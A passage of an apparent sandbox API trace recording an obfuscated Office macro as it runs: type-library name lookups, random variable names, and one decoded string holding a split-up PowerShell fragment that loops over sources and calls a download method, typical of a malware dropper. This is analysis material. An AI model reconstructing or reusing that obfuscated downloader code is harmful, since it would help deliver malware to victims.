dwFlags=0x0, lpMultiByteStr=0xbb63486, cbMultiByte=10, lpWideCharStr=0xce22070, cchWideChar=22 | out: lpWideCharStr="DUudmnknpj") returned 10 [0018.712] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce30000 [0018.713] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wCjKtFjlwF") returned 0x108da8 [0018.713] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="wCjKtFjlwF" | out: _Dst="wCjKtFjlwF") returned 0x0 [0018.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="wCjKtFjlwF") returned 11 [0018.713] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.713] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wCjKtFjlwF", lHashVal=0x108da8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.713] IUnknown:Release (This=0x7919520) returned 0xd [0018.713] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.713] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wCjKtFjlwF", lHashVal=0x108da8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.713] IUnknown:Release (This=0x7346470) returned 0xb [0018.713] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.713] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wCjKtFjlwF", lHashVal=0x108da8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.713] IUnknown:Release (This=0x7345930) returned 0x7 [0018.713] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.713] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wCjKtFjlwF", lHashVal=0x108da8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.713] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.713] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.713] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wCjKtFjlwF") returned 0x10fc12 [0018.713] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_wCjKtFjlwF" | out: _Dst="_B_var_wCjKtFjlwF") returned 0x0 [0018.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_wCjKtFjlwF") returned 18 [0018.713] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.713] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wCjKtFjlwF", lHashVal=0x10fc12, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.713] IUnknown:Release (This=0x7919520) returned 0xd [0018.713] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.713] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wCjKtFjlwF", lHashVal=0x10fc12, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.713] IUnknown:Release (This=0x7346470) returned 0xb [0018.713] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.713] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wCjKtFjlwF", lHashVal=0x10fc12, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.713] IUnknown:Release (This=0x7345930) returned 0x7 [0018.713] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.713] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wCjKtFjlwF", lHashVal=0x10fc12, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.713] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.713] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.713] IUnknown:Release (This=0x7919520) returned 0xd [0018.713] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb634a4, cbMultiByte=10, lpWideCharStr=0xce3050c, cchWideChar=22 | out: lpWideCharStr="YhhioQSnjF") returned 10 [0018.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb634be, cbMultiByte=10, lpWideCharStr=0xce30956, cchWideChar=22 | out: lpWideCharStr="LAVljEdLNA") returned 10 [0018.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb634d2, cbMultiByte=10, lpWideCharStr=0xce30b00, cchWideChar=22 | out: lpWideCharStr="WviAjRDLUL") returned 10 [0018.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb634e6, cbMultiByte=10, lpWideCharStr=0xce30caa, cchWideChar=22 | out: lpWideCharStr="riRCjUOujr") returned 10 [0018.714] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abd870 [0018.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb634fa, cbMultiByte=10, lpWideCharStr=0xce30e54, cchWideChar=22 | out: lpWideCharStr="XTsUtDEiQG") returned 10 [0018.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6350e, cbMultiByte=10, lpWideCharStr=0xce30ffe, cchWideChar=22 | out: lpWideCharStr="GCRfcczjzX") returned 10 [0018.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63522, cbMultiByte=10, lpWideCharStr=0xce311a8, cchWideChar=22 | out: lpWideCharStr="MGSUNjiTCM") returned 10 [0018.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63536, cbMultiByte=10, lpWideCharStr=0xce31352, cchWideChar=22 | out: lpWideCharStr="qjbVdCDOGd") returned 10 [0018.715] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JBtTl") returned 0x106549 [0018.715] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="JBtTl" | out: _Dst="JBtTl") returned 0x0 [0018.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="JBtTl") returned 6 [0018.715] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.715] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JBtTl", lHashVal=0x106549, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.715] IUnknown:Release (This=0x7919520) returned 0xd [0018.715] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.715] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JBtTl", lHashVal=0x106549, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.715] IUnknown:Release (This=0x7346470) returned 0xb [0018.715] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.715] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JBtTl", lHashVal=0x106549, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.715] IUnknown:Release (This=0x7345930) returned 0x7 [0018.716] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.716] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JBtTl", lHashVal=0x106549, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.716] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.716] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_JBtTl") returned 0x102936 [0018.716] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_JBtTl" | out: _Dst="_B_var_JBtTl") returned 0x0 [0018.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_JBtTl") returned 13 [0018.716] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.716] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JBtTl", lHashVal=0x102936, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.716] IUnknown:Release (This=0x7919520) returned 0xd [0018.716] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.716] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JBtTl", lHashVal=0x102936, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.716] IUnknown:Release (This=0x7346470) returned 0xb [0018.716] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.716] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JBtTl", lHashVal=0x102936, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.716] IUnknown:Release (This=0x7345930) returned 0x7 [0018.716] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.716] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JBtTl", lHashVal=0x102936, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.716] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.716] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.716] IUnknown:Release (This=0x7919520) returned 0xd [0018.716] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63554, cbMultiByte=10, lpWideCharStr=0xce337c4, cchWideChar=22 | out: lpWideCharStr="jMFpXtcjLh") returned 10 [0018.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6356e, cbMultiByte=10, lpWideCharStr=0xce33c0e, cchWideChar=22 | out: lpWideCharStr="BWFhKCNuOG") returned 10 [0018.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63582, cbMultiByte=10, lpWideCharStr=0xce33db8, cchWideChar=22 | out: lpWideCharStr="BLLCJGWbAk") returned 10 [0018.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63596, cbMultiByte=10, lpWideCharStr=0xce33f62, cchWideChar=22 | out: lpWideCharStr="kGcrwCMtco") returned 10 [0018.717] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce40000 [0018.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb635aa, cbMultiByte=10, lpWideCharStr=0xce40124, cchWideChar=22 | out: lpWideCharStr="IbPVmhrbWp") returned 10 [0018.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb635be, cbMultiByte=10, lpWideCharStr=0xce402ce, cchWideChar=22 | out: lpWideCharStr="LwUGFXACjR") returned 10 [0018.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb635d2, cbMultiByte=10, lpWideCharStr=0xce40478, cchWideChar=22 | out: lpWideCharStr="WBfbwutNjI") returned 10 [0018.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb635e6, cbMultiByte=10, lpWideCharStr=0xce40622, cchWideChar=22 | out: lpWideCharStr="qTSawawqQb") returned 10 [0018.718] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abdac0 [0018.719] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iVrjWGCM") returned 0x10891c [0018.719] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="iVrjWGCM" | out: _Dst="iVrjWGCM") returned 0x0 [0018.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="iVrjWGCM") returned 9 [0018.719] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.719] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iVrjWGCM", lHashVal=0x10891c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.719] IUnknown:Release (This=0x7919520) returned 0xd [0018.719] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.719] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iVrjWGCM", lHashVal=0x10891c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.719] IUnknown:Release (This=0x7346470) returned 0xb [0018.719] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.719] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iVrjWGCM", lHashVal=0x10891c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.719] IUnknown:Release (This=0x7345930) returned 0x7 [0018.719] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.719] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iVrjWGCM", lHashVal=0x10891c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.719] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.719] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.719] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iVrjWGCM") returned 0x1060a5 [0018.719] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_iVrjWGCM" | out: _Dst="_B_var_iVrjWGCM") returned 0x0 [0018.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_iVrjWGCM") returned 16 [0018.719] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.719] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iVrjWGCM", lHashVal=0x1060a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.719] IUnknown:Release (This=0x7919520) returned 0xd [0018.719] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.719] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iVrjWGCM", lHashVal=0x1060a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.719] IUnknown:Release (This=0x7346470) returned 0xb [0018.719] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.719] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iVrjWGCM", lHashVal=0x1060a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.719] IUnknown:Release (This=0x7345930) returned 0x7 [0018.719] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.719] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iVrjWGCM", lHashVal=0x1060a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.719] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.719] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.719] IUnknown:Release (This=0x7919520) returned 0xd [0018.719] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63604, cbMultiByte=185, lpWideCharStr=0xce42a94, cchWideChar=372 | out: lpWideCharStr="VpYHwfawxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adsdFOCodMvJdXX0Gt9hFu") returned 185 [0018.719] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.719] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.719] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.719] IUnknown:Release (This=0x7919520) returned 0xd [0018.719] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.720] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aTqQP") returned 0x1019b1 [0018.720] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="aTqQP" | out: _Dst="aTqQP") returned 0x0 [0018.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="aTqQP") returned 6 [0018.720] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.720] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="aTqQP", lHashVal=0x1019b1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.720] IUnknown:Release (This=0x7919520) returned 0xd [0018.720] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.720] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="aTqQP", lHashVal=0x1019b1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.720] IUnknown:Release (This=0x7346470) returned 0xb [0018.720] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.720] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="aTqQP", lHashVal=0x1019b1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.720] IUnknown:Release (This=0x7345930) returned 0x7 [0018.720] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.720] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="aTqQP", lHashVal=0x1019b1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.720] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.720] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.720] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_aTqQP") returned 0x10dddd [0018.720] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_aTqQP" | out: _Dst="_B_var_aTqQP") returned 0x0 [0018.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_aTqQP") returned 13 [0018.720] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.720] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_aTqQP", lHashVal=0x10dddd, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.720] IUnknown:Release (This=0x7919520) returned 0xd [0018.720] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.720] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_aTqQP", lHashVal=0x10dddd, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.720] IUnknown:Release (This=0x7346470) returned 0xb [0018.720] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.720] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_aTqQP", lHashVal=0x10dddd, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.720] IUnknown:Release (This=0x7345930) returned 0x7 [0018.720] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.720] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_aTqQP", lHashVal=0x10dddd, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.720] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.720] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.720] IUnknown:Release (This=0x7919520) returned 0xd [0018.720] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb636d4, cbMultiByte=10, lpWideCharStr=0xce43924, cchWideChar=22 | out: lpWideCharStr="NVuOFpMlZG") returned 10 [0018.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb636ee, cbMultiByte=10, lpWideCharStr=0xce43d6e, cchWideChar=22 | out: lpWideCharStr="UhwMfQAXGM") returned 10 [0018.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63702, cbMultiByte=10, lpWideCharStr=0xce43f18, cchWideChar=22 | out: lpWideCharStr="UlfEPXbvCZ") returned 10 [0018.721] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abdd10 [0018.721] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce50000 [0018.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63716, cbMultiByte=10, lpWideCharStr=0xce500c4, cchWideChar=22 | out: lpWideCharStr="YkaUJrMEPY") returned 10 [0018.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6372a, cbMultiByte=10, lpWideCharStr=0xce5026e, cchWideChar=22 | out: lpWideCharStr="UwtwrInOqN") returned 10 [0018.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6373e, cbMultiByte=10, lpWideCharStr=0xce50418, cchWideChar=22 | out: lpWideCharStr="CfItIcpqwh") returned 10 [0018.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63752, cbMultiByte=10, lpWideCharStr=0xce505c2, cchWideChar=22 | out: lpWideCharStr="ORjzhkHbDn") returned 10 [0018.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63766, cbMultiByte=10, lpWideCharStr=0xce5076c, cchWideChar=22 | out: lpWideCharStr="EwIhsYrjNG") returned 10 [0018.723] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ShEamsMuij") returned 0x10db60 [0018.724] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="ShEamsMuij" | out: _Dst="ShEamsMuij") returned 0x0 [0018.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="ShEamsMuij") returned 11 [0018.724] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.724] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ShEamsMuij", lHashVal=0x10db60, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.724] IUnknown:Release (This=0x7919520) returned 0xd [0018.724] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.724] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ShEamsMuij", lHashVal=0x10db60, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.724] IUnknown:Release (This=0x7346470) returned 0xb [0018.724] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.724] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ShEamsMuij", lHashVal=0x10db60, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.724] IUnknown:Release (This=0x7345930) returned 0x7 [0018.724] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.724] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ShEamsMuij", lHashVal=0x10db60, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.724] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.724] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.724] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_ShEamsMuij") returned 0x10498b [0018.724] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_ShEamsMuij" | out: _Dst="_B_var_ShEamsMuij") returned 0x0 [0018.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_ShEamsMuij") returned 18 [0018.724] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.724] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ShEamsMuij", lHashVal=0x10498b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.724] IUnknown:Release (This=0x7919520) returned 0xd [0018.724] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.724] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ShEamsMuij", lHashVal=0x10498b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.724] IUnknown:Release (This=0x7346470) returned 0xb [0018.724] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.724] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ShEamsMuij", lHashVal=0x10498b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.724] IUnknown:Release (This=0x7345930) returned 0x7 [0018.724] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.724] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ShEamsMuij", lHashVal=0x10498b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.724] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.724] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.724] IUnknown:Release (This=0x7919520) returned 0xd [0018.724] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63784, cbMultiByte=10, lpWideCharStr=0xce52bde, cchWideChar=22 | out: lpWideCharStr="PvELZolWma") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6379e, cbMultiByte=10, lpWideCharStr=0xce53028, cchWideChar=22 | out: lpWideCharStr="BJNLRHvoYr") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb637b2, cbMultiByte=10, lpWideCharStr=0xce531d2, cchWideChar=22 | out: lpWideCharStr="odsNwriuHf") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb637c6, cbMultiByte=10, lpWideCharStr=0xce5337c, cchWideChar=22 | out: lpWideCharStr="bJmFBawUCI") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb637da, cbMultiByte=10, lpWideCharStr=0xce53526, cchWideChar=22 | out: lpWideCharStr="IXaJGhFHIr") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb637ee, cbMultiByte=10, lpWideCharStr=0xce536d0, cchWideChar=22 | out: 